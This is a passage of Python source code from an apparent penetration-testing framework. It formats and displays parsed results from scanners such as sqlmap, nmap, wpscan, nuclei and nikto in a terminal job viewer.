                            if start_idx > 0 or end_idx < total_lines:
                                nav_hints.append("[t] tail")

                            hint_text = ", ".join(nav_hints)
                            click.echo(f"... (showing lines {showing_range} of {total_lines} - {hint_text})\n")
                        else:
                            click.echo(f"(showing all {total_lines} lines)\n")

                    # Format JSON logs for readability
                    formatted_lines = format_log_stream(lines_to_show, max_lines=len(lines_to_show))

                    for line in formatted_lines:
                        click.echo(line)

                except Exception as e:
                    click.echo(click.style(f"Error reading log: {e}", fg='red'))

                click.echo()
        else:
            if show_raw_logs or not has_parser:
                click.echo(click.style("No log file available", fg='yellow'))
                click.echo()
    
        # Parse and display ffuf/gobuster results if available (only when not showing raw logs)
        # Also check 'no_results' status - background parser may have missed results due to timing
        if not show_raw_logs and job.get('tool') in ['ffuf', 'gobuster'] and job.get('status') in ['done', 'completed', 'no_results', 'warning'] and log_path and os.path.exists(log_path):
            try:
                if job.get('tool') == 'ffuf':
                    from souleyez.parsers.ffuf_parser import parse_ffuf
                    parsed = parse_ffuf(log_path, job.get('target', ''))
                else:
                    from souleyez.parsers.gobuster_parser import parse_gobuster_output
                    with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                        log_content = f.read()
                    parsed = parse_gobuster_output(log_content, job.get('target', ''))
            
                paths = parsed.get('paths', [])
                if paths:
                    # Check if status was incorrectly set to no_results
                    if job.get('status') == 'no_results':
                        click.echo(click.style("NOTE: Found paths that background parser missed. Updating status...", fg='yellow'))
                        click.echo()
                        # Update job status to done
                        try:
                            from souleyez.engine.job_queue import _update_job
                            from souleyez.engine.job_status import STATUS_DONE
                            _update_job(job.get('id'), status=STATUS_DONE)
                            job['status'] = 'done'  # Update local copy for display
                        except Exception:
                            pass  # Non-critical, just display the paths

                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo(click.style("DISCOVERED WEB PATHS", bold=True, fg='cyan'))
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()
                    click.echo(f"Total found: {len(paths)}")
                    click.echo()
                
                    # Group by status code
                    status_groups = {}
                    for path in paths:
                        status = path.get('status_code', 'unknown')
                        if status not in status_groups:
                            status_groups[status] = []
                        status_groups[status].append(path)
                
                    # Display by status code
                    for status in sorted(status_groups.keys()):
                        status_color = 'green' if status == 200 else 'cyan' if status in [301, 302] else 'yellow'
                        click.echo(click.style(f"[{status}] ({len(status_groups[status])} paths)", bold=True, fg=status_color))

                        # Show all paths or limit to 10
                        paths_to_show = status_groups[status] if show_all_paths else status_groups[status][:10]

                        for path in paths_to_show:
                            url = path.get('url', '')
                            size = path.get('length', path.get('size', ''))
                            redirect = path.get('redirect_location', path.get('redirect', ''))

                            if redirect:
                                click.echo(f"  {url} → {redirect}")
                            elif size:
                                click.echo(f"  {url} ({size} bytes)")
                            else:
                                click.echo(f"  {url}")

                        # Show "X more" message only if not showing all paths and there are more than 10
                        if not show_all_paths and len(status_groups[status]) > 10:
                            click.echo(f"  ... and {len(status_groups[status]) - 10} more")
                        click.echo()
                
            except Exception as e:
                # Silently fail - not critical
                pass
    
        # Parse and display SQLMap results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'sqlmap' and job.get('status') == 'done' and log_path and os.path.exists(log_path):
            try:
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    log_content = f.read()
            
                from souleyez.parsers.sqlmap_parser import parse_sqlmap_output, get_sqli_stats
                parsed = parse_sqlmap_output(log_content, job.get('target', ''))
                stats = get_sqli_stats(parsed)
            
                # Show summary if anything was found
                if stats['total_vulns'] > 0 or stats['databases_found'] > 0:
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo(click.style("SQLMAP RESULTS SUMMARY", bold=True, fg='cyan'))
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

                    # Injection details with techniques and payloads
                    if parsed.get('injection_techniques'):
                        for inj in parsed['injection_techniques']:
                            click.echo(click.style(f"✓ SQL Injection: {inj['parameter']} ({inj['method']})",
                                                   fg='red', bold=True))
                            click.echo()

                            tech_limit = len(inj['techniques']) if show_all_paths else 4
                            click.echo(click.style(f"  Injection Techniques Found: {len(inj['techniques'])}",
                                                   bold=True))
                            for tech in inj['techniques'][:tech_limit]:
                                click.echo(click.style(f"    • {tech['type']}", fg='yellow'))
                                if tech.get('title'):
                                    click.echo(f"      Title: {tech['title']}")
                                if tech.get('payload'):
                                    payload = tech['payload']
                                    if not show_all_paths and len(payload) > 80:
                                        payload = payload[:77] + "..."
                                    click.echo(f"      Payload: {payload}")
                                click.echo()

                            if not show_all_paths and len(inj['techniques']) > 4:
                                click.echo(f"    ... and {len(inj['techniques']) - 4} more techniques")
                            click.echo()
                    elif stats['sqli_confirmed'] > 0:
                        # Fallback if injection_techniques not populated
                        click.echo(click.style(f"✓ SQL Injection Found: {stats['sqli_confirmed']} parameter(s)", fg='red', bold=True))
                        click.echo()

                    # XSS and File Inclusion warnings
                    if stats['xss_possible'] > 0:
                        click.echo(click.style(f"⚠ Possible XSS: {stats['xss_possible']} parameter(s)", fg='yellow'))
                    if stats['fi_possible'] > 0:
                        click.echo(click.style(f"⚠ Possible File Inclusion: {stats['fi_possible']} parameter(s)", fg='yellow'))

                    if stats['xss_possible'] > 0 or stats['fi_possible'] > 0:
                        click.echo()

                    # Web stack information
                    if parsed.get('web_server_os'):
                        click.echo(click.style("Web Server OS: ", bold=True) + parsed['web_server_os'])

                    if parsed.get('web_app_technology'):
                        click.echo(click.style("Web Technology: ", bold=True) +
                                   ", ".join(parsed['web_app_technology']))

                    if parsed.get('dbms'):
                        click.echo(click.style("Database: ", bold=True) + parsed['dbms'])

                    if parsed.get('web_server_os') or parsed.get('web_app_technology') or parsed.get('dbms'):
                        click.echo()

                    # Databases enumerated
                    if parsed.get('databases'):
                        click.echo(click.style(f"Databases Enumerated ({len(parsed['databases'])}):",
                                               bold=True, fg='green'))
                        for db in parsed['databases'][:10]:
                            click.echo(f"  • {db}")
                        if len(parsed['databases']) > 10:
                            click.echo(f"  ... and {len(parsed['databases']) - 10} more")
                        click.echo()

                    # Tables enumerated
                    if parsed.get('tables'):
                        total_tables = sum(len(tables) for tables in parsed['tables'].values())
                        click.echo(click.style(f"Tables Enumerated ({total_tables}):",
                                               bold=True, fg='green'))
                        table_limit = None if show_all_paths else 15
                        for db_name, tables in parsed['tables'].items():
                            if len(parsed['tables']) > 1:
                                click.echo(f"  [{db_name}]")
                            display_tables = tables if show_all_paths else tables[:15]
                            for table in display_tables:
                                click.echo(f"    • {table}")
                            if not show_all_paths and len(tables) > 15:
                                click.echo(f"    ... and {len(tables) - 15} more")
                        click.echo()

                    # Dumped data
                    if parsed.get('dumped_data'):
                        click.echo(click.style("Data Dumped:", bold=True, fg='red'))
                        for table_key, data in parsed['dumped_data'].items():
                            row_count = data.get('row_count', len(data.get('rows', [])))
                            columns = data.get('columns', [])
                            click.echo(f"  • {table_key}: {row_count} row(s)")
                            if columns:
                                col_limit = None if show_all_paths else 8
                                display_cols = columns if show_all_paths else columns[:8]
                                click.echo(f"    Columns: {', '.join(display_cols)}")
                                if not show_all_paths and len(columns) > 8:
                                    click.echo(f"             ... and {len(columns) - 8} more")
                            # Show sample data
                            rows = data.get('rows', [])
                            if rows:
                                row_limit = len(rows) if show_all_paths else 3
                                click.echo(f"    {'Data' if show_all_paths else 'Sample data'}:")
                                for row in rows[:row_limit]:
                                    # Show key fields
                                    sample = []
                                    key_cols = ['id', 'username', 'email', 'fullName', 'cardNum', 'password']
                                    display_cols_for_row = columns if show_all_paths else key_cols
                                    for col in display_cols_for_row:
                                        if col in row:
                                            val = str(row[col])
                                            if not show_all_paths and len(val) > 25:
                                                val = val[:22] + '...'
                                            sample.append(f"{col}={val}")
                                    if sample:
                                        col_display_limit = len(sample) if show_all_paths else 4
                                        click.echo(f"      {', '.join(sample[:col_display_limit])}")
                                if not show_all_paths and len(rows) > 3:
                                    click.echo(f"      ... and {len(rows) - 3} more rows")
                        click.echo()

                    # Check if findings were already saved during job completion
                    # (auto-save happens in result_handler.py)
                    from souleyez.storage.findings import FindingsManager
                    engagement_id = job.get('engagement_id')
                    if not engagement_id:
                        from souleyez.storage.engagements import EngagementManager
                        em = EngagementManager()
                        current_eng = em.get_current()
                        if current_eng:
                            engagement_id = current_eng['id']
                
                    if engagement_id and stats['total_vulns'] > 0:
                        fm = FindingsManager()
                        all_findings = fm.list_findings(engagement_id)
                    
                        # Check if findings from this job already exist
                        target = job.get('target', '')
                        job_id = job.get('id')
                    
                        # Look for findings with matching tool and target URL
                        existing_findings = [f for f in all_findings 
                                           if f.get('tool') == 'sqlmap' and target in f.get('path', '')]
                    
                        if existing_findings:
                            click.echo(click.style(f"✓ Findings already saved ({len(existing_findings)} findings from this scan)", fg='green'))
                        else:
                            # Findings weren't auto-saved (shouldn't happen but handle it)
                            if click.confirm("Save these vulnerabilities as findings?", default=True):
                                if engagement_id:
                                    _save_sqlmap_findings(engagement_id, job, parsed)
                                else:
                                    click.echo(click.style("⚠ No engagement set - findings not saved", fg='yellow'))
                
            except Exception as e:
                click.echo(click.style(f"Error parsing SQLMap results: {e}", fg='yellow'))
                import traceback
                traceback.print_exc()

        # Parse and display WPScan results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'wpscan' and job.get('status') in ['done', 'completed'] and log_path and os.path.exists(log_path):
            try:
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    log_content = f.read()

                from souleyez.parsers.wpscan_parser import parse_wpscan_output
                parsed = parse_wpscan_output(log_content, job.get('target', ''))

                # Show summary if anything was found
                if parsed.get('wordpress_version') or parsed.get('findings') or parsed.get('plugins') or parsed.get('themes') or parsed.get('users') or parsed.get('info'):
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo(click.style("WPSCAN WORDPRESS SECURITY SCAN", bold=True, fg='cyan'))
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

                    # WordPress version with status
                    if parsed.get('wordpress_version'):
                        version_str = parsed['wordpress_version']
                        version_status = parsed.get('version_status')
                        version_date = parsed.get('version_release_date')

                        # Show version with status indicator
                        click.echo(click.style("WordPress Version: ", bold=True), nl=False)
                        if version_status == 'Insecure':
                            click.echo(click.style(f"{version_str} (Insecure)", fg='red', bold=True), nl=False)
                        elif version_status == 'Outdated':
                            click.echo(click.style(f"{version_str} (Outdated)", fg='yellow', bold=True), nl=False)
                        else:
                            click.echo(version_str, nl=False)

                        if version_date:
                            click.echo(f" - Released {version_date}")
                        else:
                            click.echo()
                        click.echo()

                    # Additional information/findings
                    info_items = parsed.get('info', [])
                    if info_items:
                        click.echo(click.style("Scan Findings:", bold=True))
                        for item in info_items:
                            title = item.get('title', 'Unknown')
                            severity = item.get('severity', 'info').lower()
                            item_type = item.get('type', 'info')

                            # Icon based on severity/type
                            if severity == 'low' or item_type == 'warning':
                                icon = '⚠'
                                color = 'yellow'
                            elif item_type == 'config':
                                icon = '⚙'
                                color = 'cyan'
                            elif item_type == 'disclosure':
                                icon = '📄'
                                color = 'yellow'
                            elif item_type == 'header':
                                icon = '🔍'
                                color = 'cyan'
                            else:
                                icon = 'ℹ'
                                color = 'white'

                            click.echo(click.style(f"  {icon} {title}", fg=color))

                        click.echo()

                    # Vulnerabilities/Findings
                    findings = parsed.get('findings', [])
                    if findings:
                        # Group by severity
                        severity_order = ['critical', 'high', 'medium', 'low', 'info']
                        severity_groups = {sev: [] for sev in severity_order}
                        for finding in findings:
                            severity = finding.get('severity', 'medium').lower()
                            if severity in severity_groups:
                                severity_groups[severity].append(finding)

                        click.echo(click.style(f"Vulnerabilities Found: {len(findings)}", bold=True, fg='red'))
                        click.echo()

                        for severity in severity_order:
                            if severity_groups[severity]:
                                # Color code by severity
                                if severity == 'critical':
                                    color = 'red'
                                    icon = '🔴'
                                elif severity == 'high':
                                    color = 'red'
                                    icon = '🔴'
                                elif severity == 'medium':
                                    color = 'yellow'
                                    icon = '🟡'
                                elif severity == 'low':
                                    color = 'green'
                                    icon = '🟢'
                                else:
                                    color = 'cyan'
                                    icon = 'ℹ️'

                                click.echo(click.style(f"{icon} {severity.upper()} ({len(severity_groups[severity])})", bold=True, fg=color))

                                for finding in severity_groups[severity][:3]:  # Show first 3 per severity
                                    click.echo(f"  • {finding.get('title', 'Unknown vulnerability')}")
                                    if finding.get('type') and finding.get('name'):
                                        click.echo(f"    Type: {finding['type']} - {finding['name']}")
                                    if finding.get('fixed_in'):
                                        click.echo(f"    Fixed in: {finding['fixed_in']}")
                                    if finding.get('references'):
                                        refs = finding['references'][:2]  # Show first 2 references
                                        for ref in refs:
                                            click.echo(f"    Ref: {ref}")
                                    click.echo()

                                if len(severity_groups[severity]) > 3:
                                    click.echo(f"  ... and {len(severity_groups[severity]) - 3} more {severity} severity issues")
                                    click.echo()

                    # Plugins
                    plugins = parsed.get('plugins', [])
                    if plugins:
                        vulnerable_plugins = [p for p in plugins if p.get('vulnerable')]
                        click.echo(click.style(f"Plugins Detected: {len(plugins)}", bold=True))
                        if vulnerable_plugins:
                            click.echo(click.style(f"  ⚠ {len(vulnerable_plugins)} vulnerable", fg='red'))
                        click.echo()

                        for plugin in plugins[:5]:  # Show first 5 plugins
                            vuln_marker = click.style("⚠", fg='red') if plugin.get('vulnerable') else " "
                            plugin_name = plugin.get('name', 'Unknown')
                            plugin_version = plugin.get('version', 'Unknown version')
                            click.echo(f"  {vuln_marker} {plugin_name} - {plugin_version}")

                        if len(plugins) > 5:
                            click.echo(f"  ... and {len(plugins) - 5} more plugins")
                        click.echo()

                    # Themes
                    themes = parsed.get('themes', [])
                    if themes:
                        vulnerable_themes = [t for t in themes if t.get('vulnerable')]
                        click.echo(click.style(f"Themes Detected: {len(themes)}", bold=True))
                        if vulnerable_themes:
                            click.echo(click.style(f"  ⚠ {len(vulnerable_themes)} vulnerable", fg='red'))
                        click.echo()

                        for theme in themes[:3]:  # Show first 3 themes
                            vuln_marker = click.style("⚠", fg='red') if theme.get('vulnerable') else " "
                            theme_name = theme.get('name', 'Unknown')
                            theme_version = theme.get('version', 'Unknown version')
                            click.echo(f"  {vuln_marker} {theme_name} - {theme_version}")

                        if len(themes) > 3:
                            click.echo(f"  ... and {len(themes) - 3} more themes")
                        click.echo()

                    # Enumerated users
                    users = parsed.get('users', [])
                    if users:
                        click.echo(click.style(f"Users Enumerated: {len(users)}", bold=True, fg='yellow'))
                        for user in users[:10]:  # Show first 10 users
                            click.echo(f"  • {user}")
                        if len(users) > 10:
                            click.echo(f"  ... and {len(users) - 10} more users")
                        click.echo()

            except Exception as e:
                # Silently fail - not critical
                pass

        # Parse and display DNSRecon results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'dnsrecon' and job.get('status') in ['done', 'completed'] and log_path and os.path.exists(log_path):
            try:
                from souleyez.parsers.dnsrecon_parser import parse_dnsrecon_output
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    log_content = f.read()
                parsed = parse_dnsrecon_output(log_content, job.get('target', ''))

                # Display clean summary
                click.echo(click.style("=" * 70, fg='cyan'))
                click.echo(click.style("DISCOVERED DNS RECORDS", bold=True, fg='cyan'))
                click.echo(click.style("=" * 70, fg='cyan'))
                click.echo()

                # Hosts (A records)
                hosts = parsed.get('hosts', [])
                if hosts:
                    click.echo(click.style(f"Hosts (A Records): {len(hosts)}", bold=True))
                    for host in hosts:
                        click.echo(f"  • {host['hostname']} → {host['ip']}")
                    click.echo()

                # Nameservers
                ns = parsed.get('nameservers', [])
                if ns:
                    click.echo(click.style(f"Nameservers (NS): {len(ns)}", bold=True))
                    for server in ns:
                        click.echo(f"  • {server}")
                    click.echo()

                # Mail servers
                mx = parsed.get('mail_servers', [])
                if mx:
                    click.echo(click.style(f"Mail Servers (MX): {len(mx)}", bold=True))
                    for server in mx[:5]:  # Show first 5
                        click.echo(f"  • {server}")
                    if len(mx) > 5:
                        click.echo(f"  ... and {len(mx) - 5} more")
                    click.echo()

                # TXT records
                txt = parsed.get('txt_records', [])
                if txt:
                    click.echo(click.style(f"TXT Records: {len(txt)}", bold=True))
                    for record in txt:
                        # Truncate long records
                        display = record[:80] + "..." if len(record) > 80 else record
                        click.echo(f"  • {display}")
                    click.echo()

                # Subdomains
                subdomains = parsed.get('subdomains', [])
                if subdomains:
                    click.echo(click.style(f"Subdomains: {len(subdomains)}", bold=True))
                    for sub in subdomains[:10]:  # Show first 10
                        click.echo(f"  • {sub}")
                    if len(subdomains) > 10:
                        click.echo(f"  ... and {len(subdomains) - 10} more")
                    click.echo()

                click.echo(click.style("=" * 70, fg='cyan'))
                click.echo()
            except Exception as e:
                # Fall back to raw log if parsing fails
                pass

        # Parse and display Nmap results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'nmap' and job.get('status') in ['done', 'completed'] and log_path and os.path.exists(log_path):
            try:
                from souleyez.parsers.nmap_parser import parse_nmap_output
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    log_content = f.read()
                parsed = parse_nmap_output(log_content, job.get('target', ''))

                vulnerabilities = parsed.get('vulnerabilities', [])
                hosts = parsed.get('hosts', [])

                # If vulnerabilities found, show vuln-focused view
                if vulnerabilities:
                    # Group by severity
                    by_severity = {'critical': [], 'high': [], 'medium': [], 'low': []}
                    for vuln in vulnerabilities:
                        cvss = vuln.get('cvss_score')
                        if cvss and cvss >= 9.0:
                            sev = 'critical'
                        elif cvss and cvss >= 7.0:
                            sev = 'high'
                        elif cvss and cvss >= 4.0:
                            sev = 'medium'
                        elif vuln.get('state') == 'VULNERABLE':
                            sev = 'high'
                        else:
                            sev = 'medium'
                        by_severity[sev].append(vuln)

                    # Count unique hosts scanned
                    unique_hosts = set(v.get('host_ip') for v in vulnerabilities if v.get('host_ip'))

                    click.echo(click.style("=" * 70, fg='red'))
                    click.echo(click.style("VULNERABILITY SCAN RESULTS", bold=True, fg='red'))
                    click.echo(click.style("=" * 70, fg='red'))
                    click.echo()

                    # Summary line
                    crit_count = len(by_severity['critical'])
                    high_count = len(by_severity['high'])
                    med_count = len(by_severity['medium'])
                    low_count = len(by_severity['low'])

                    summary_parts = []
                    if crit_count:
                        summary_parts.append(click.style(f"CRITICAL: {crit_count}", fg='red', bold=True))
                    if high_count:
                        summary_parts.append(click.style(f"HIGH: {high_count}", fg='red'))
                    if med_count:
                        summary_parts.append(click.style(f"MEDIUM: {med_count}", fg='yellow'))
                    if low_count:
                        summary_parts.append(click.style(f"LOW: {low_count}", fg='blue'))

                    click.echo(f"  Hosts Scanned: {len(unique_hosts)}    Total Findings: {len(vulnerabilities)}")
                    click.echo(f"  {' | '.join(summary_parts)}")
                    click.echo()

                    # Display each severity section with interactive pagination
                    items_per_page = 15

                    def display_vuln_page(items, start_idx):
                        """Display a page of vulnerabilities."""
                        end_idx = min(start_idx + items_per_page, len(items))
                        for vuln in items[start_idx:end_idx]:
                            title = vuln.get('title', vuln.get('script', 'Unknown'))
                            host_ip = vuln.get('host_ip', '')
                            port = vuln.get('port', '')

                            location = f"{host_ip}:{port}" if port else host_ip
                            # Title already contains CVSS/CVE info, just display cleanly
                            click.echo(f"    {location:<18} {title[:55]}")
                        return end_idx

                    done_viewing = False
                    for severity in ['critical', 'high', 'medium', 'low']:
                        if done_viewing:
                            break

                        items = by_severity[severity]
                        if not items:
                            continue

                        # Section header with color
                        if severity == 'critical':
                            header = click.style(f"── CRITICAL ({len(items)}) ", fg='red', bold=True)
                        elif severity == 'high':
                            header = click.style(f"── HIGH ({len(items)}) ", fg='red')
                        elif severity == 'medium':
                            header = click.style(f"── MEDIUM ({len(items)}) ", fg='yellow')
                        else:
                            header = click.style(f"── LOW ({len(items)}) ", fg='blue')

                        click.echo(header + click.style("─" * 50, dim=True))

                        # Paginate through items
                        current_idx = 0
                        while current_idx < len(items):
                            current_idx = display_vuln_page(items, current_idx)
                            remaining = len(items) - current_idx

                            if remaining > 0:
                                prompt_text = click.style(
                                    f"    ({current_idx}/{len(items)}) [Enter]=more  [s]=skip  [d]=done: ",
                                    dim=True
                                )
                                choice = click.prompt(prompt_text, default='', show_default=False).lower().strip()

                                if choice == 'd':
                                    done_viewing = True
                                    break
                                elif choice == 's':
                                    click.echo(click.style(f"    ... {remaining} more not shown", dim=True))
                                    break

                        click.echo()

                    click.echo(click.style("=" * 70, fg='red'))
                    click.echo()

                # If no vulns but has hosts, show discovery results with service details
                elif hosts:
                    has_services = any(host.get('services', []) for host in hosts)

                    click.echo(click.style("=" * 70, fg='cyan'))
                    if has_services:
                        click.echo(click.style("DISCOVERED SERVICES", bold=True, fg='cyan'))
                    else:
                        click.echo(click.style("DISCOVERED HOSTS", bold=True, fg='cyan'))
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

                    for host in hosts:
                        ip = host.get('ip', 'unknown')
                        hostname = host.get('hostname')
                        status = host.get('status', 'unknown')
                        services = host.get('services', [])

                        if services:
                            # Show host header
                            click.echo(click.style(f"Host: {ip}", bold=True))
                            if hostname:
                                click.echo(f"  Hostname: {hostname}")
                            # Show each service
                            for svc in services:
                                port = svc.get('port', '?')
                                protocol = svc.get('protocol', 'tcp')
                                state = svc.get('state', 'unknown')
                                service = svc.get('service', 'unknown')
                                version = svc.get('version', '')

                                state_color = 'green' if state == 'open' else ('yellow' if state == 'filtered' else None)
                                state_display = click.style(state, fg=state_color) if state_color else state
                                version_str = f" ({version})" if version else ""
                                click.echo(f"  {port}/{protocol}  {state_display}  {service}{version_str}")
                            click.echo()
                        elif status == 'up':
                            host_display = f"  {ip}"
                            if hostname:
                                host_display += f" ({hostname})"
                            click.echo(host_display)

                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

            except Exception as e:
                pass

        # Parse and display Nuclei results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'nuclei' and job.get('status') in ['done', 'completed'] and log_path and os.path.exists(log_path):
            try:
                from souleyez.parsers.nuclei_parser import parse_nuclei_output
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    log_content = f.read()
                parsed = parse_nuclei_output(log_content, job.get('target', ''))

                findings = parsed.get('findings', [])
                if findings:
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo(click.style("NUCLEI FINDINGS", bold=True, fg='cyan'))
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

                    # Group by severity
                    by_severity = {}
                    for finding in findings:
                        severity = finding.get('severity', 'info').lower()
                        if severity not in by_severity:
                            by_severity[severity] = []
                        by_severity[severity].append(finding)

                    # Display in order: critical, high, medium, low, info
                    for severity in ['critical', 'high', 'medium', 'low', 'info']:
                        if severity in by_severity:
                            items = by_severity[severity]

                            # Color code severity
                            if severity == 'critical':
                                sev_display = click.style(severity.upper(), fg='red', bold=True)
                            elif severity == 'high':
                                sev_display = click.style(severity.upper(), fg='red')
                            elif severity == 'medium':
                                sev_display = click.style(severity.upper(), fg='yellow')
                            elif severity == 'low':
                                sev_display = click.style(severity.upper(), fg='blue')
                            else:
                                sev_display = click.style(severity.upper(), dim=True)

                            click.echo(f"{sev_display}: {len(items)} finding(s)")
                            for finding in items[:5]:  # Show first 5 per severity
                                template = finding.get('template_id', 'unknown')
                                url = finding.get('matched_at', '')
                                click.echo(f"  • [{template}] {url}")
                            if len(items) > 5:
                                click.echo(f"    ... and {len(items) - 5} more")
                            click.echo()

                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()
            except Exception as e:
                pass

        # Parse and display theHarvester results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'theharvester' and job.get('status') in ['done', 'completed'] and log_path and os.path.exists(log_path):
            try:
                from souleyez.parsers.theharvester_parser import parse_theharvester_output
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    log_content = f.read()
                parsed = parse_theharvester_output(log_content, job.get('target', ''))

                click.echo(click.style("=" * 70, fg='cyan'))
                click.echo(click.style("DISCOVERED ASSETS", bold=True, fg='cyan'))
                click.echo(click.style("=" * 70, fg='cyan'))
                click.echo()

                # Emails
                emails = parsed.get('emails', [])
                if emails:
                    click.echo(click.style(f"Emails: {len(emails)}", bold=True))
                    for email in emails[:10]:
                        click.echo(f"  • {email}")
                    if len(emails) > 10:
                        click.echo(f"  ... and {len(emails) - 10} more")
                    click.echo()

                # IPs
                ips = parsed.get('ips', [])
                if ips:
                    click.echo(click.style(f"IP Addresses: {len(ips)}", bold=True))
                    for ip in ips[:10]:
                        click.echo(f"  • {ip}")
                    if len(ips) > 10:
                        click.echo(f"  ... and {len(ips) - 10} more")
                    click.echo()

                # ASNs
                asns = parsed.get('asns', [])
                if asns:
                    click.echo(click.style(f"ASNs: {len(asns)}", bold=True))
                    for asn in asns[:10]:
                        click.echo(f"  • {asn}")
                    if len(asns) > 10:
                        click.echo(f"  ... and {len(asns) - 10} more")
                    click.echo()

                # Interesting URLs
                urls = parsed.get('urls', parsed.get('base_urls', []))
                if urls:
                    click.echo(click.style(f"Interesting URLs: {len(urls)}", bold=True))
                    for url in urls[:15]:
                        click.echo(f"  • {url}")
                    if len(urls) > 15:
                        click.echo(f"  ... and {len(urls) - 15} more")
                    click.echo()

                # Subdomains
                subdomains = parsed.get('subdomains', [])
                if subdomains:
                    click.echo(click.style(f"Hosts Found: {len(subdomains)}", bold=True))
                    for sub in subdomains[:15]:
                        click.echo(f"  • {sub}")
                    if len(subdomains) > 15:
                        click.echo(f"  ... and {len(subdomains) - 15} more")
                    click.echo()

                click.echo(click.style("=" * 70, fg='cyan'))
                click.echo()
            except Exception as e:
                # Fall back to raw log if parsing fails
                pass

        # Parse and display Nikto results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'nikto' and job.get('status') in ['done', 'completed'] and log_path and os.path.exists(log_path):
            try:
                from souleyez.parsers.nikto_parser import parse_nikto_output
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    log_content = f.read()
                parsed = parse_nikto_output(log_content, job.get('target', ''))

                findings = parsed.get('findings', [])
                if findings:
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo(click.style("NIKTO SCAN RESULTS", bold=True, fg='cyan'))
                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()

                    # Target info
                    if parsed.get('target_ip'):
                        click.echo(click.style(f"Target: {parsed['target_ip']}", bold=True))
                    if parsed.get('server'):
                        click.echo(f"Server: {parsed['server']}")
                    if parsed.get('target_port'):
                        click.echo(f"Port: {parsed['target_port']}")
                    click.echo()

                    # Stats
                    stats = parsed.get('stats', {})
                    by_severity = stats.get('by_severity', {})
                    click.echo(click.style(f"Findings: {stats.get('total', len(findings))}", bold=True))
                    severity_parts = []
                    if by_severity.get('high', 0) > 0:
                        severity_parts.append(click.style(f"{by_severity['high']} High", fg='red'))
                    if by_severity.get('medium', 0) > 0:
                        severity_parts.append(click.style(f"{by_severity['medium']} Medium", fg='yellow'))
                    if by_severity.get('low', 0) > 0:
                        severity_parts.append(click.style(f"{by_severity['low']} Low", fg='cyan'))
                    if by_severity.get('info', 0) > 0:
                        severity_parts.append(f"{by_severity['info']} Info")
                    if severity_parts:
                        click.echo("  " + " | ".join(severity_parts))
                    click.echo()

                    # List findings
                    click.echo(click.style("Issues Found:", bold=True))
                    for i, finding in enumerate(findings[:15], 1):
                        severity = finding.get('severity', 'info')
                        desc = finding.get('description', '')[:60]
                        path = finding.get('path', '')

                        # Color by severity
                        if severity == 'high':
                            sev_color = 'red'
                        elif severity == 'medium':
                            sev_color = 'yellow'
                        elif severity == 'low':
                            sev_color = 'cyan'
                        else:
                            sev_color = 'white'

                        sev_badge = click.style(f"[{severity.upper()}]", fg=sev_color)
                        if path:
                            click.echo(f"  {i}. {sev_badge} {path}: {desc}")
                        else:
                            click.echo(f"  {i}. {sev_badge} {desc}")

                    if len(findings) > 15:
                        click.echo(f"  ... and {len(findings) - 15} more findings")
                    click.echo()

                    click.echo(click.style("=" * 70, fg='cyan'))
                    click.echo()
            except Exception as e:
                # Fall back to raw log if parsing fails
                pass

        # Parse and display WHOIS results if available (only when not showing raw logs)
        if not show_raw_logs and job.get('tool') == 'whois' and job.get('status') in ['done', 'completed'] and log_path and os.path.exists(log_path):
            try:
                from souleyez.parsers.whois_parser import parse_whois_output
                with open(log_path, 'r', encoding='utf-8', errors='replace') as f:
                    log_content = f.read()
                parsed = parse_whois_output(log_content, job.get('target', ''))

                click.echo(click.style("=" * 70, fg='cyan'))
                click.echo(click.style("WHOIS DOMAIN INFORMATION", bold=True, fg='cyan'))
                click.echo(click.style("=" * 70, fg='cyan'))
                click.echo()

                # Domain and registrar
                if parsed.get('domain'):
                    click.echo(click.style(f"Domain: {parsed['domain']}", bold=True))
                if parsed.get('registrar'):
                    click.echo(f"Registrar: {parsed['registrar']}")
                click.echo()

                # Registration dates
                dates = parsed.get('dates', {})
                if dates:
                    click.echo(click.style("Registration Information:", bold=True))
                    if dates.get('created'):
                        click.echo(f"  Created: {dates['created']}")
                    if dates.get('updated'):
                        click.echo(f"  Updated: {dates['updated']}")
                    if dates.get('expires'):
                        click.echo(f"  Expires: {dates['expires']}")
                    click.echo()

                # Nameservers
                ns = parsed.get('nameservers', [])
                if ns:
                    click.echo(click.style(f"Nameservers: {len(ns)}", bold=True))
                    for server in ns:
                        click.echo(f"  • {server}")
                    click.echo()

                # Status
                status_list = parsed.get('status', [])
                if status_list:
                    click.echo(click.style("Domain Status:", bold=True))
                    for status in status_list:
                        click.echo(f"  • {status}")
                    click.echo()

                # DNSSEC
                if parsed.get('dnssec'):
                    click.echo(f"DNSSEC: {parsed['dnssec']}")
                    click.echo()

                click.echo(click.style("=" * 70, fg='cyan'))
                click.echo()
            except Exception as e:
                pass

        # Parse and display CrackMapExec results if available (only when not showing raw logs)
